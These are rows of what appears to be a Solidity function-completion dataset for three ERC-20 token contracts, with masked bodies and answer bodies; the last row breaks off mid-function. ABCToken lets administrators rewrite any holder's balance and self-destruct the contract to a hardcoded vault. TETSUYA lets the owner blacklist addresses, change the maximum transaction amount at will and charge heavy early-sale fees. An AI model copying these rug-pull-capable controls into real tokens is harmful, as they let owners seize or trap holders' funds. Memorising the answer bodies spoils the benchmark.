function isLocked(address _address) external view returns(bool) {
return locked[_address];
}
/// @dev Transfers tokens to the specified address. It prevents transferring tokens from a locked address.
/// Locked addresses can receive tokens.
/// Current token sale's addresses cannot receive or send tokens until the token sale ends.
/// @param _to The address to transfer tokens to.
/// @param _value The number of tokens to be transferred.
function transfer(address _to, uint256 _value) public returns(bool) {<FILL_FUNCTION_BODY> }
/// @dev Transfers tokens from one address to another. It prevents transferring tokens if the caller is locked or
/// if the allowed address is locked.
/// Locked addresses can receive tokens.
/// Current token sale's addresses cannot receive or send tokens until the token sale ends.
/// @param _from address The address to transfer tokens from.
/// @param _to address The address to transfer tokens to.
/// @param _value The number of tokens to be transferred.
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(!locked[msg.sender]);
require(!locked[_from]);
if (tokenSaleOngoing) {
require(tokenSaleId[msg.sender] < currentTokenSaleId);
require(tokenSaleId[_from] < currentTokenSaleId);
require(tokenSaleId[_to] < currentTokenSaleId);
}
return super.transferFrom(_from, _to, _value);
}
} | contract Token is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = "ZwoopToken";
string public constant symbol = "ZWP";
uint256 public constant decimals = 18;
// Using same number of decimal figures as ETH (i.e. 18).
uint256 public constant TOKEN_UNIT = 10 ** uint256(decimals);
// Maximum number of tokens in circulation
uint256 public constant MAX_TOKEN_SUPPLY = 2000000000 * TOKEN_UNIT;
// Maximum number of tokens sales to be performed.
uint256 public constant MAX_TOKEN_SALES = 1;
// Maximum size of the batch functions input arrays.
uint256 public constant MAX_BATCH_SIZE = 400;
address public assigner; // The address allowed to assign or mint tokens during token sale.
address public locker; // The address allowed to lock/unlock addresses.
mapping(address => bool) public locked; // If true, address' tokens cannot be transferred.
uint256 public currentTokenSaleId = 0; // The id of the current token sale.
mapping(address => uint256) public tokenSaleId; // In which token sale the address participated.
bool public tokenSaleOngoing = false;
event TokenSaleStarting(uint indexed tokenSaleId);
event TokenSaleEnding(uint indexed tokenSaleId);
event Lock(address indexed addr);
event Unlock(address indexed addr);
event Assign(address indexed to, uint256 amount);
event Mint(address indexed to, uint256 amount);
event LockerTransferred(address indexed previousLocker, address indexed newLocker);
event AssignerTransferred(address indexed previousAssigner, address indexed newAssigner);
/// @dev Constructor that initializes the contract.
/// @param _assigner The assigner account.
/// @param _locker The locker account.
constructor(address _assigner, address _locker) public {
require(_assigner != address(0));
require(_locker != address(0));
assigner = _assigner;
locker = _locker;
}
/// @dev True if a token sale is ongoing.
modifier tokenSaleIsOngoing() {
require(tokenSaleOngoing);
_;
}
/// @dev True if a token sale is not ongoing.
modifier tokenSaleIsNotOngoing() {
require(!tokenSaleOngoing);
_;
}
/// @dev Throws if called by any account other than the assigner.
modifier onlyAssigner() {
require(msg.sender == assigner);
_;
}
/// @dev Throws if called by any account other than the locker.
modifier onlyLocker() {
require(msg.sender == locker);
_;
}
/// @dev Starts a new token sale. Only the owner can start a new token sale. If a token sale
/// is ongoing, it has to be ended before a new token sale can be started.
/// No more than `MAX_TOKEN_SALES` sales can be carried out.
/// @return True if the operation was successful.
function tokenSaleStart() external onlyOwner tokenSaleIsNotOngoing returns(bool) {
require(currentTokenSaleId < MAX_TOKEN_SALES);
currentTokenSaleId++;
tokenSaleOngoing = true;
emit TokenSaleStarting(currentTokenSaleId);
return true;
}
/// @dev Ends the current token sale. Only the owner can end a token sale.
/// @return True if the operation was successful.
function tokenSaleEnd() external onlyOwner tokenSaleIsOngoing returns(bool) {
emit TokenSaleEnding(currentTokenSaleId);
tokenSaleOngoing = false;
return true;
}
/// @dev Returns whether or not a token sale is ongoing.
/// @return True if a token sale is ongoing.
function isTokenSaleOngoing() external view returns(bool) {
return tokenSaleOngoing;
}
/// @dev Getter of the variable `currentTokenSaleId`.
/// @return Returns the current token sale id.
function getCurrentTokenSaleId() external view returns(uint256) {
return currentTokenSaleId;
}
/// @dev Getter of the variable `tokenSaleId[]`.
/// @param _address The address of the participant.
/// @return Returns the id of the token sale the address participated in.
function getAddressTokenSaleId(address _address) external view returns(uint256) {
return tokenSaleId[_address];
}
/// @dev Allows the current owner to change the assigner.
/// @param _newAssigner The address of the new assigner.
/// @return True if the operation was successful.
function transferAssigner(address _newAssigner) external onlyOwner returns(bool) {
require(_newAssigner != address(0));
emit AssignerTransferred(assigner, _newAssigner);
assigner = _newAssigner;
return true;
}
/// @dev Function to mint tokens. It can only be called by the assigner during an ongoing token sale.
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to, uint256 _amount) public onlyAssigner tokenSaleIsOngoing returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
require(totalSupply_ <= MAX_TOKEN_SUPPLY);
if (tokenSaleId[_to] == 0) {
tokenSaleId[_to] = currentTokenSaleId;
}
require(tokenSaleId[_to] == currentTokenSaleId);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/// @dev Mints tokens for several addresses in one single call.
/// @param _to address[] The addresses that get the tokens.
/// @param _amount address[] The number of tokens to be minted.
/// @return A boolean that indicates if the operation was successful.
function mintInBatches(address[] _to, uint256[] _amount) external onlyAssigner tokenSaleIsOngoing returns(bool) {
require(_to.length > 0);
require(_to.length == _amount.length);
require(_to.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _to.length; i++) {
mint(_to[i], _amount[i]);
}
return true;
}
/// @dev Function to assign any number of tokens to a given address.
/// Compared to the `mint` function, the `assign` function allows not just to increase but also to decrease
/// the number of tokens of an address by assigning a lower value than the address current balance.
/// This function can only be executed during initial token sale.
/// @param _to The address that will receive the assigned tokens.
/// @param _amount The amount of tokens to assign.
/// @return True if the operation was successful.
function assign(address _to, uint256 _amount) public onlyAssigner tokenSaleIsOngoing returns(bool) {
require(currentTokenSaleId == 1);
// The desired value to assign (`_amount`) can be either higher or lower than the current number of tokens
// of the address (`balances[_to]`). To calculate the new `totalSupply_` value, the difference between `_amount`
// and `balances[_to]` (`delta`) is calculated first, and then added or substracted to `totalSupply_` accordingly.
uint256 delta = 0;
if (balances[_to] < _amount) {
// balances[_to] will be increased, so totalSupply_ should be increased
delta = _amount.sub(balances[_to]);
totalSupply_ = totalSupply_.add(delta);
} else {
// balances[_to] will be decreased, so totalSupply_ should be decreased
delta = balances[_to].sub(_amount);
totalSupply_ = totalSupply_.sub(delta);
}
require(totalSupply_ <= MAX_TOKEN_SUPPLY);
balances[_to] = _amount;
tokenSaleId[_to] = currentTokenSaleId;
emit Assign(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/// @dev Assigns tokens to several addresses in one call.
/// @param _to address[] The addresses that get the tokens.
/// @param _amount address[] The number of tokens to be assigned.
/// @return True if the operation was successful.
function assignInBatches(address[] _to, uint256[] _amount) external onlyAssigner tokenSaleIsOngoing returns(bool) {
require(_to.length > 0);
require(_to.length == _amount.length);
require(_to.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _to.length; i++) {
assign(_to[i], _amount[i]);
}
return true;
}
/// @dev Allows the current owner to change the locker.
/// @param _newLocker The address of the new locker.
/// @return True if the operation was successful.
function transferLocker(address _newLocker) external onlyOwner returns(bool) {
require(_newLocker != address(0));
emit LockerTransferred(locker, _newLocker);
locker = _newLocker;
return true;
}
/// @dev Locks an address. A locked address cannot transfer its tokens or other addresses' tokens out.
/// Only addresses participating in the current token sale can be locked.
/// Only the locker account can lock addresses and only during the token sale.
/// @param _address address The address to lock.
/// @return True if the operation was successful.
function lockAddress(address _address) public onlyLocker tokenSaleIsOngoing returns(bool) {
require(tokenSaleId[_address] == currentTokenSaleId);
require(!locked[_address]);
locked[_address] = true;
emit Lock(_address);
return true;
}
/// @dev Unlocks an address so that its owner can transfer tokens out again.
/// Addresses can be unlocked any time. Only the locker account can unlock addresses
/// @param _address address The address to unlock.
/// @return True if the operation was successful.
function unlockAddress(address _address) public onlyLocker returns(bool) {
require(locked[_address]);
locked[_address] = false;
emit Unlock(_address);
return true;
}
/// @dev Locks several addresses in one single call.
/// @param _addresses address[] The addresses to lock.
/// @return True if the operation was successful.
function lockInBatches(address[] _addresses) external onlyLocker returns(bool) {
require(_addresses.length > 0);
require(_addresses.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _addresses.length; i++) {
lockAddress(_addresses[i]);
}
return true;
}
/// @dev Unlocks several addresses in one single call.
/// @param _addresses address[] The addresses to unlock.
/// @return True if the operation was successful.
function unlockInBatches(address[] _addresses) external onlyLocker returns(bool) {
require(_addresses.length > 0);
require(_addresses.length <= MAX_BATCH_SIZE);
for (uint i = 0; i < _addresses.length; i++) {
unlockAddress(_addresses[i]);
}
return true;
}
/// @dev Checks whether or not the given address is locked.
/// @param _address address The address to be checked.
/// @return Boolean indicating whether or not the address is locked.
function isLocked(address _address) external view returns(bool) {
return locked[_address];
}
<FILL_FUNCTION>
/// @dev Transfers tokens from one address to another. It prevents transferring tokens if the caller is locked or
/// if the allowed address is locked.
/// Locked addresses can receive tokens.
/// Current token sale's addresses cannot receive or send tokens until the token sale ends.
/// @param _from address The address to transfer tokens from.
/// @param _to address The address to transfer tokens to.
/// @param _value The number of tokens to be transferred.
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(!locked[msg.sender]);
require(!locked[_from]);
if (tokenSaleOngoing) {
require(tokenSaleId[msg.sender] < currentTokenSaleId);
require(tokenSaleId[_from] < currentTokenSaleId);
require(tokenSaleId[_to] < currentTokenSaleId);
}
return super.transferFrom(_from, _to, _value);
}
} |
require(!locked[msg.sender]);
if (tokenSaleOngoing) {
require(tokenSaleId[msg.sender] < currentTokenSaleId);
require(tokenSaleId[_to] < currentTokenSaleId);
}
return super.transfer(_to, _value);
| function transfer(address _to, uint256 _value) public returns(bool) | /// @dev Transfers tokens to the specified address. It prevents transferring tokens from a locked address.
/// Locked addresses can receive tokens.
/// Current token sale's addresses cannot receive or send tokens until the token sale ends.
/// @param _to The address to transfer tokens to.
/// @param _value The number of tokens to be transferred.
function transfer(address _to, uint256 _value) public returns(bool) |
29907 | ABCToken | contract ABCToken is StandardToken {
string public name = 'ABCToken';
string public token = 'ABC';
uint8 public decimals = 6;
uint public INITIAL_SUPPLY = 1000000*10**6;
uint public constant ONE_DECIMAL_QUANTUM_ABC_TOKEN_PRICE = 1 ether/(100*10**6);
//EVENTS
event tokenOverriden(address investor, uint decimalTokenAmount);
event receivedEther(address sender, uint amount);
mapping (address => bool) administrators;
// previous BDA token values
address public tokenAdministrator = 0xd31736788Fd9358372dDA7b2957e1FD6F4f57BDB;
address public vault= 0x809d55801590f83B999550F2ad3e6a3d149e1eE2;
// MODIFIERS
modifier onlyAdministrators {
require(administrators[msg.sender]);
_;
}
function isEqualLength(address[] x, uint[] y) pure internal returns (bool) { return x.length == y.length; }
modifier onlySameLengthArray(address[] x, uint[] y) {
require(isEqualLength(x,y));
_;
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
administrators[tokenAdministrator]=true;
}
function()
payable
public
{<FILL_FUNCTION_BODY> }
function addAdministrator(address newAdministrator)
public
onlyAdministrators
{
administrators[newAdministrator]=true;
}
function overrideTokenHolders(address[] toOverride, uint[] decimalTokenAmount)
public
onlyAdministrators
onlySameLengthArray(toOverride, decimalTokenAmount)
{
for (uint i = 0; i < toOverride.length; i++) {
uint previousAmount = balances[toOverride[i]];
balances[toOverride[i]] = decimalTokenAmount[i];
totalSupply_ = totalSupply_-previousAmount+decimalTokenAmount[i];
emit tokenOverriden(toOverride[i], decimalTokenAmount[i]);
}
}
function overrideTokenHolder(address toOverride, uint decimalTokenAmount)
public
onlyAdministrators
{
uint previousAmount = balances[toOverride];
balances[toOverride] = decimalTokenAmount;
totalSupply_ = totalSupply_-previousAmount+decimalTokenAmount;
emit tokenOverriden(toOverride, decimalTokenAmount);
}
function resetContract()
public
onlyAdministrators
{
selfdestruct(vault);
}
} | contract ABCToken is StandardToken {
string public name = 'ABCToken';
string public token = 'ABC';
uint8 public decimals = 6;
uint public INITIAL_SUPPLY = 1000000*10**6;
uint public constant ONE_DECIMAL_QUANTUM_ABC_TOKEN_PRICE = 1 ether/(100*10**6);
//EVENTS
event tokenOverriden(address investor, uint decimalTokenAmount);
event receivedEther(address sender, uint amount);
mapping (address => bool) administrators;
// previous BDA token values
address public tokenAdministrator = 0xd31736788Fd9358372dDA7b2957e1FD6F4f57BDB;
address public vault= 0x809d55801590f83B999550F2ad3e6a3d149e1eE2;
// MODIFIERS
modifier onlyAdministrators {
require(administrators[msg.sender]);
_;
}
function isEqualLength(address[] x, uint[] y) pure internal returns (bool) { return x.length == y.length; }
modifier onlySameLengthArray(address[] x, uint[] y) {
require(isEqualLength(x,y));
_;
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
administrators[tokenAdministrator]=true;
}
<FILL_FUNCTION>
function addAdministrator(address newAdministrator)
public
onlyAdministrators
{
administrators[newAdministrator]=true;
}
function overrideTokenHolders(address[] toOverride, uint[] decimalTokenAmount)
public
onlyAdministrators
onlySameLengthArray(toOverride, decimalTokenAmount)
{
for (uint i = 0; i < toOverride.length; i++) {
uint previousAmount = balances[toOverride[i]];
balances[toOverride[i]] = decimalTokenAmount[i];
totalSupply_ = totalSupply_-previousAmount+decimalTokenAmount[i];
emit tokenOverriden(toOverride[i], decimalTokenAmount[i]);
}
}
function overrideTokenHolder(address toOverride, uint decimalTokenAmount)
public
onlyAdministrators
{
uint previousAmount = balances[toOverride];
balances[toOverride] = decimalTokenAmount;
totalSupply_ = totalSupply_-previousAmount+decimalTokenAmount;
emit tokenOverriden(toOverride, decimalTokenAmount);
}
function resetContract()
public
onlyAdministrators
{
selfdestruct(vault);
}
} |
uint amountSentInWei = msg.value;
uint decimalTokenAmount = amountSentInWei/ONE_DECIMAL_QUANTUM_ABC_TOKEN_PRICE;
require(vault.send(msg.value));
require(this.transfer(msg.sender, decimalTokenAmount));
emit receivedEther(msg.sender, amountSentInWei);
| function()
payable
public
| function()
payable
public
|
|
55944 | TETSUYA | _transfer | contract TETSUYA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Tetsuya Inu";
string private constant _symbol = "TetsuyaInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x377772bd3a076F3194E9737563d3A09FB1cC6a5D);
_feeAddrWallet2 = payable(0x8db5248F1C22dC30a557F05014086acf02f3AB7F);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> }
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract TETSUYA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Tetsuya Inu";
string private constant _symbol = "TetsuyaInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x377772bd3a076F3194E9737563d3A09FB1cC6a5D);
_feeAddrWallet2 = payable(0x8db5248F1C22dC30a557F05014086acf02f3AB7F);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 24 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 28;
} else {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 1;
_feeAddr2 = 9;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
